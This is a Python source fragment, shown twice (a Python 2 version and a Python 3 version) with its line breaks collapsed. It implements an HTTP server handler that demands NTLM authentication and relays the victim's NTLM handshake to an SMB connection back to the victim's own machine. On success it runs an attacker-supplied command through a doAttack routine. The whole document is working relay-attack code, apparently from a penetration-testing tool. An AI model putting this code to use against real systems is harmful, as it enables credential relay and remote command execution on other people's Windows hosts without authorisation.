class HTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def __init__(self, request, client_address, server): self.server = server self.protocol_version = 'HTTP/1.1' self.challengeMessage = None self.target = None self.client = None SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self, request, client_address, server) def handle_one_request(self): try: SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self) except: pass def log_message(self, format, *args): return def do_AUTHHEAD(self, message = ''): self.send_response(401) self.send_header('WWW-Authenticate', message) self.send_header('Content-type', 'text/html') self.send_header('Content-Length','0') self.end_headers() def do_HEAD(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() def do_GET(self): self.send_response(200) def do_OPTIONS(self): messageType = 0 if self.headers.getheader('Authorization') is None: self.do_AUTHHEAD(message = 'NTLM') pass else: # constants.isRunning = True typeX = self.headers.getheader('Authorization') try: _, blob = typeX.split('NTLM') token = base64.b64decode(blob.strip()) except: self.do_AUTHHEAD() messageType = unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] if messageType == 1: self.target = self.client_address[0] try: self.client = SMBClient(self.target, extended_security = True) self.client.set_timeout(60) except Exception, e: print "Connection against target %s FAILED" % self.target print str(e) clientChallengeMessage = self.client.sendNegotiate(token) self.challengeMessage = NTLMAuthChallenge() self.challengeMessage.fromString(clientChallengeMessage) self.do_AUTHHEAD(message = 'NTLM '+ base64.b64encode(clientChallengeMessage)) elif messageType == 3: authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(token) respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = str(token) clientResponse, errorCode = self.client.sendAuth(self.challengeMessage['challenge'], respToken2.getData()) if errorCode != STATUS_SUCCESS: # print "[-] Authenticating against %s FAILED" % self.target self.do_AUTHHEAD('NTLM') constants.authentication_succeed = False else: # print "[+] Authentication SUCCEED" constants.authentication_succeed = True executeCmd = doAttack(self.client, self.server.command) constants.outputCmd = executeCmd.run() constants.smb_client = self.client # And answer 404 not found self.send_response(404) self.send_header('WWW-Authenticate', 'NTLM') self.send_header('Content-type', 'text/html') self.send_header('Content-Length','0') self.end_headers() self.server.server_close() self.server.shutdown()
class HTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def __init__(self, request, client_address, server): self.server = server self.protocol_version = 'HTTP/1.1' self.challengeMessage = None self.target = None self.client = None SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self, request, client_address, server) def handle_one_request(self): try: SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self) except: pass def log_message(self, format, *args): return def do_AUTHHEAD(self, message = ''): self.send_response(401) self.send_header('WWW-Authenticate', message) self.send_header('Content-type', 'text/html') self.send_header('Content-Length','0') self.end_headers() def do_HEAD(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() def do_GET(self): self.send_response(200) def do_OPTIONS(self): messageType = 0 if self.headers.getheader('Authorization') is None: self.do_AUTHHEAD(message = 'NTLM') pass else: # constants.isRunning = True typeX = self.headers.getheader('Authorization') try: _, blob = typeX.split('NTLM') token = base64.b64decode(blob.strip()) except: self.do_AUTHHEAD() messageType = unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] if messageType == 1: self.target = self.client_address[0] try: self.client = SMBClient(self.target, extended_security = True) self.client.set_timeout(60) except Exception as e: print("Connection against target %s FAILED" % self.target) print(str(e)) clientChallengeMessage = self.client.sendNegotiate(token) self.challengeMessage = NTLMAuthChallenge() self.challengeMessage.fromString(clientChallengeMessage) self.do_AUTHHEAD(message = 'NTLM '+ base64.b64encode(clientChallengeMessage)) elif messageType == 3: authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(token) respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = str(token) clientResponse, errorCode = self.client.sendAuth(self.challengeMessage['challenge'], respToken2.getData()) if errorCode != STATUS_SUCCESS: # print("[-] Authenticating against %s FAILED" % self.target) self.do_AUTHHEAD('NTLM') constants.authentication_succeed = False else: # print("[+] Authentication SUCCEED") constants.authentication_succeed = True executeCmd = doAttack(self.client, self.server.command) constants.outputCmd = executeCmd.run() constants.smb_client = self.client # And answer 404 not found self.send_response(404) self.send_header('WWW-Authenticate', 'NTLM') self.send_header('Content-type', 'text/html') self.send_header('Content-Length','0') self.end_headers() self.server.server_close() self.server.shutdown()